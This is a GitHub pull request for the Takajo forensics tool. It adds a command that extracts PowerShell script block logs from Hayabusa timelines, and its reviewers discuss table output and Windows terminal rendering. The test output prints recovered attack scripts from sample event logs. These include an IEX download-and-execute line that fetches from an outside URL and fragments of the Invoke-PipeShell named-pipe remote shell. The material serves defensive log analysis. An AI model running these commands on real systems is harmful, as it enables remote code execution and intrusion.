Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

feat: add extract-scriptblocks command #57

Merged
merged 12 commits into from
Oct 26, 2023

Conversation

fukusuket
Copy link
Collaborator

@fukusuket fukusuket commented Oct 21, 2023

What Changed

Test

Environment

  • OS: macOS Sonoma version 14.0
  • Hayabusa v2.10.0-dev
  • Nim: 2.0.0

Test1 (hayabusa-sample-evtx ... T1059.001-PowerShell)

  1. % ./hayabusa-main json-timeline -d ../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1059.001-PowerShell -o timeline-ps.jsonl -L
  2. % ./takajo extract-scriptblocks -t timeline-ps.jsonl -q
スクリーンショット 2023-10-21 23 37 30
% ls -l scriptblock-logs
total 64
-rw-r--r--  1 fukusuke  staff    6 10 21 23:42 fs03vuln.offsec.lan-2022-01-25_05_11_11.361_+09_00-63d67bc9-5a54-4394-8b23-363e369f3c91.txt
-rw-r--r--  1 fukusuke  staff  111 10 21 23:42 fs03vuln.offsec.lan-2022-01-25_05_11_11.361_+09_00-965150b4-b107-4cce-9d30-1d3c55a8a085.txt
-rw-r--r--  1 fukusuke  staff    6 10 21 23:42 jump01.offsec.lan-2021-06-03_22_05_40.097_+09_00-4e750683-f255-4025-80ce-70a7623ae2d6.txt
-rw-r--r--  1 fukusuke  staff  108 10 21 23:42 jump01.offsec.lan-2021-06-03_22_06_06.125_+09_00-64d8bc4c-53ba-45e7-bf38-00ecbf2185e2.txt
-rw-r--r--  1 fukusuke  staff  580 10 21 23:42 jump01.offsec.lan-2021-06-03_22_06_06.161_+09_00-6a0647ce-0f80-454c-8023-03e0cf659055.txt
-rw-r--r--  1 fukusuke  staff    6 10 21 23:42 jump01.offsec.lan-2021-06-03_22_06_07.156_+09_00-395b1b9d-4d11-4938-ae31-20144668cf09.txt
-rw-r--r--  1 fukusuke  staff  111 10 21 23:42 jump01.offsec.lan-2021-06-03_22_06_27.070_+09_00-650e35f6-b250-43af-8fff-6f9511ebd621.txt
-rw-r--r--  1 fukusuke  staff  728 10 21 23:42 summary.csv
% cd scriptblock-logs
% ls ./ | grep -v summary.csv | xargs cat
prompt"IEX(New-Object Net.WebClient).downloadString('https://miro.medium.com/max/1400/1*FnPDYeZVrGTbuE7Lj7JhgQ.png')"promptInvoke-PipeShell -mode client -server localhost -aeskey aaaabbbbccccdddd -pipe eventlog_svc -i -timeout 1000function Initialize-Pipe {
		if ($PipeMode -eq "Server") {
			echo "`n[>] Waiting for client..`n"
			$PipeObject.WaitForConnection()
		} else {
			try {
			# Add a 1s time-out in case the server is not live
			$PipeObject.Connect($timeout)
			} catch {
				echo "[!] Server pipe not available!"
				Return
			}
		}

		$PipeReader = $PipeWriter = $null
		$PipeReader = new-object System.IO.StreamReader($PipeObject)
		$PipeWriter = new-object System.IO.StreamWriter($PipeObject)
		$PipeWriter.AutoFlush = $true

		Initialize-Session
	}promptInvoke-PipeShell -mode client -server localhost -aeskey aaaabbbbccccdddd -pipe eventlog_svc -timeout 1000 -c ls%

Test2(hayabusa-sample-evtx)

Execute following command.

  1. % ./hayabusa-main json-timeline -d ../hayabusa-sample-evtx/ -o timeline.jsonl -L
  2. % ./takajo extract-scriptblocks -t timeline.jsonl

then compare ScriptBlockId uniq count and ./scriptblock-logs dir's file count as follows.

% cat timeline.jsonl | jq 'select(.EventID == 4104)' | jq .ExtraFieldInfo.ScriptBlockId | sort | uniq | wc -l
     750
% ls -l ./scriptblock-logs | grep -v total | grep -v summary.csv | wc -l
     750

Test3(all-evtx)

  1. % ./hayabusa-main json-timeline -d ../all-evtx/ -o timeline-all.jsonl -L
  2. % ./takajo extract-scriptblocks -t timeline-all.jsonl

then compare ScriptBlockId uniq count and ./scriptblock-logs dir's file count as follows.

% cat timeline-all.jsonl | jq 'select(.EventID == 4104)' | jq .ExtraFieldInfo.ScriptBlockId | sort | uniq | wc -l
      71
% ls -l ./scriptblock-logs | grep -v total | grep -v summary.csv | wc -l
      71

I would appreciate it if you could review when you have time🙏

@fukusuket fukusuket self-assigned this Oct 21, 2023
@fukusuket fukusuket added the enhancement New feature or request label Oct 21, 2023
@fukusuket fukusuket added this to the v2.1.0 milestone Oct 21, 2023
@fukusuket fukusuket linked an issue Oct 21, 2023 that may be closed by this pull request
@fukusuket fukusuket marked this pull request as ready for review October 21, 2023 15:09
@fukusuket
Copy link
Collaborator Author

Environment

  • OS:Windows11 Home
  • Hayabusa v2.10.0-dev
  • Nim: 2.0.0

Test4 (hayabusa-sample-evtx ... T1059.001-PowerShell)

No errors or mojibake in Command Prompt and PowerShell.
powershell
command-prompt

Copy link
Collaborator

@hitenkoku hitenkoku left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@fukusuket Thanks for your pull request.
LGTM.

@YamatoSecurity
Copy link
Collaborator

LGTM! What you do think about outputting in terminal tables with nancy?
It might be easier to read.
Also, it would be nice if we could list up if there were any sigma alerts (low+) that matched on the powershell script. For example add a column named Max alert and print whatever the maximum alert was. (high, etc..) and then have another column Alerts and have a list of alert titles. I think nancy supports multiple lines. Just have to be careful that we are not putting too much information in the table that it gets broken. If it is too much information we can output alert information somewhere else. What do you think?

@fukusuket
Copy link
Collaborator Author

@YamatoSecurity
Thank you so much for review :) Yes, I'll try nancy!💪

@fukusuket
Copy link
Collaborator Author

fukusuket commented Oct 24, 2023

@YamatoSecurity
I tried outputting a table using nancy(It's a very easy to use library :)) in the commit ecdb159
I tried changing the color depending on the Max alert, but what do you think about the column position and color layout ... etc?

スクリーンショット 2023-10-24 9 47 18

@fukusuket
Copy link
Collaborator Author

In many cases, I think a large amount of detection results are output at the info level, so do you think it would be better to have an option to filter by level like timeline-suspicious-processes command ...? 🤔

if level != "critical" and level != "high" and level != "medium" and level != "low" and level != "informational":
echo "You must specify a minimum level of critical, high, medium, low or informational. (default: high)"
echo ""
return

@YamatoSecurity
Copy link
Collaborator

@fukusuket Oh wow! Super fast! It is looking good. I'll take a look at it tonight.

@YamatoSecurity
Copy link
Collaborator

In many cases, I think a large amount of detection results are output at the info level, so do you think it would be better to have an option to filter by level like timeline-suspicious-processes command ...? 🤔

That sounds good. What about letting the user set the minimal level but have the default low?

@fukusuket
Copy link
Collaborator Author

fukusuket commented Oct 24, 2023

@YamatoSecurity
I added --level option with commit bce67c7 💪
Could you please check how it looks with above commit when you have time?

@fukusuket
Copy link
Collaborator Author

fukusuket commented Oct 24, 2023

@YamatoSecurity
I checked behavior in Windows 11!

command prompt Windows Terminal is ok :)
windows11-cmd

But In PowerShell, the characters seem to be garbled as shown below, so I will investigate...🤔
windows11-powershell

@fukusuket fukusuket marked this pull request as draft October 24, 2023 09:52
@fukusuket
Copy link
Collaborator Author

The following are probably the causes :(

Nancy using following ANSI escape sequences internally,
https:/PMunch/termstyle/blob/master/termstyle.nim#L23-L46

But PowerShell 5.1 does not support ANSI escape sequences. (PowerShell 7 or Windows Terminal does support)
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_ansi_terminals?view=powershell-5.1

If you use the Nim standard functions below, this issue does not seem to occur because the Windows API is executed directly (instead of using ANSI escape sequences).
https://nim-lang.org/docs/terminal.html

@fukusuket
Copy link
Collaborator Author

I created issue!
PMunch/nancy#4

@fukusuket
Copy link
Collaborator Author

fukusuket commented Oct 25, 2023

It's probably difficult to deal with this on Nancy's side, so I implemented processing that does not use ANSI escape.
I think this commit 5d112be has solved the problem :)

PowerShell
win-powershell

Command Prompt
win-command-prompt

Windows Terminal
win-terminal

macOS Terminal
スクリーンショット 2023-10-25 18 31 17

@fukusuket fukusuket marked this pull request as ready for review October 25, 2023 09:33
@fukusuket
Copy link
Collaborator Author

@YamatoSecurity
Could you please check how it looks with commit 5d112be when you have time?

@YamatoSecurity
Copy link
Collaborator

@fukusuket Looks great! I just realized it is probably better to include the Computer name in the summary table to know which computer the malicious scripts were found. Can you add a Computer column between the Timestamp and ScriptBlock ID? It will probably be too much information, so what about deleting the Complete/Incomplete column to make space? By looking at the 1/1, etc.. Events Recovered column, it is easy enough to understand if the script was recovered 100% or is missing information.

The width for the events recovered 1/1 column and alert level seem a bit wide. Is it possible to make a little more narrow to make more space?

@fukusuket
Copy link
Collaborator Author

@YamatoSecurity
Thank you for checking!
I added computerName column. Also, I changed header as follows to make more space. What do you think?

  • Extracted Records -> Records
  • Max alert -> Level

(In Nancy, the width is automatically determined by the maximum number of characters in the column, and it seems that it cannot be set)
スクリーンショット 2023-10-26 8 45 33

Copy link
Collaborator

@YamatoSecurity YamatoSecurity left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@fukusuket Looks great! Thank you!

@YamatoSecurity YamatoSecurity merged commit f725b38 into main Oct 26, 2023
2 checks passed
@fukusuket fukusuket deleted the 47-extract-out-powershell-script-block branch October 26, 2023 22:54
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
enhancement New feature or request
Projects
None yet
Development

Successfully merging this pull request may close these issues.

Extract out PowerShell scriptblock logs into text files
3 participants